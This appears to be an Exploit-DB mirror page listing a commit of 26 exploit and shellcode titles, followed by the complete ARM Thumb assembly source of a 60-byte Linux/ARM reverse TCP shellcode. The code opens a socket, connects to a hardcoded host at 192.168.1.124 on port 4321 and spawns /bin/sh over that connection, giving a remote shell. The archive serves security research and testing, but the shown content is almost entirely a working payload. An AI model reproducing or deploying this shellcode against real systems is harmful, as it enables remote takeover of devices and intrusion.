mirror of
https://github.com/offensive-security/exploitdb.git
synced 2026-11-09 20:31:26 -10:00
26 changes to exploits/shellcodes Sricam gSOAP 2.8 - Denial of Service Smart VPN 1.1.3.0 - Denial of Service (PoC) MySQL User-Defined (Linux) x32 / x86_64 - sys_exec Function Local Privilege Escalation Easy Video to iPod Converter 1.6.20 - Buffer Overflow (SEH) R 3.4.4 XP SP3 - Buffer Overflow (Non SEH) BEWARD Intercom 2.3.1 - Credentials Disclosure Faleemi Desktop Software 1.8 - Local Buffer Overflow (SEH)(DEP Bypass) CloudMe Sync 1.11.2 Buffer Overflow - WoW64 - (DEP Bypass) Rundeck Community Edition < 3.0.13 - Persistent Cross-Site Scripting WordPress Plugin Ad Manager WD 1.0.11 - Arbitrary File Download AirTies Air5341 Modem 1.0.0.12 - Cross-Site Request Forgery LogonBox Limited / Hypersocket Nervepoint Access Manager - Unauthenticated Insecure Direct Object Reference CMSsite 1.0 - 'cat_id' SQL Injection CMSsite 1.0 - 'search' SQL Injection Cisco RV300 / RV320 - Information Disclosure Cisco Firepower Management Center 6.2.2.2 / 6.2.3 - Cross-Site Scripting Newsbull Haber Script 1.0.0 - 'search' SQL Injection Care2x 2.7 (HIS) Hospital Information System - Multiple SQL Injection Teameyo Project Management System 1.0 - SQL Injection Mess Management System 1.0 - SQL Injection MyBB IP History Logs Plugin 1.0.2 - Cross-Site Scripting ResourceSpace 8.6 - 'collection_edit.php' SQL Injection Linux/x86 - exit(0) Shellcode (5 bytes) Linux/x86 - Read /etc/passwd Shellcode (58 Bytes) (2) Linux/ARM - Reverse TCP (/bin/sh) - 192.168.1.124:4321 Shellcode (64 bytes) Linux/ARM - Bind TCP (/bin/sh)-0.0.0.0:4321 Null Free Shellcode (84 bytes)
52 lines
1.3 KiB
ArmAsm
52 lines
1.3 KiB
ArmAsm
/*
|
|
* Title: Linux/ARM - Reverse_Shell Shellcode TCP (/bin/sh). Null free shellcode (60 bytes)
|
|
*Reverse shellcode for ARM 60 bytes-shortest ever till the date of creation
|
|
* Date: 2019-01-27
|
|
* Tested: armv7l (Raspberry Pi b3+)
|
|
* Author: Gokul Babu-https://www.linkedin.com/in/gokul-babu-452b3b112/
|
|
*/
|
|
|
|
/*socket 281, domain=2,type=1,protocol=0*/
|
|
/*connect 283,sockfd=resultant vaule r0=3,*addr=AF_inet+port+ip,addrlen=16bytes*/
|
|
/*dup2 63,oldfd=sockfd, newfd=0-stdin,1-stout,2-stderr*/
|
|
/*execve 11, *command="/bin/sh",0,0"*/
|
|
.section .text
|
|
.global _start
|
|
_start:
|
|
.ARM
|
|
add r3,pc,#1
|
|
bx r3
|
|
.THUMB
|
|
//socket:
|
|
mov r0,#2
|
|
mov r1,#1
|
|
mov r7,#200
|
|
add r7,#81
|
|
svc #1
|
|
push {r0,r1,r2} /*store all values r0=3,r1=1,r2=0*/
|
|
//connect:
|
|
adr r1,exc+8 /*pointing to AF_Inet+PORT+IP*/
|
|
strb r2,[r1,#1]
|
|
mov r2,#16
|
|
add r7,#2
|
|
svc #1
|
|
//dup2:
|
|
//dup2(3,2)/*No need of stderr, program works fine without stderr*/
|
|
pop {r0,r1,r2} /*Restoring all values as the values would have been changed after connect call*/
|
|
mov r7,#63
|
|
//dup2(3,1)
|
|
svc #1
|
|
//dup2(3,0) -> but gets changed to dup2(1,0)-see strace debug file for reference
|
|
sub r1,#1
|
|
svc #1
|
|
//execve:
|
|
adr r0,exc
|
|
strb r1,[r0,#7]
|
|
mov r7,#11
|
|
svc #1
|
|
exc:
|
|
.ascii "/bin/shX"
|
|
//struct:
|
|
.ascii "\x02\xff"
|
|
.ascii "\x10\xE1" //port 4321
|
|
.byte 192,168,1,124 //IP |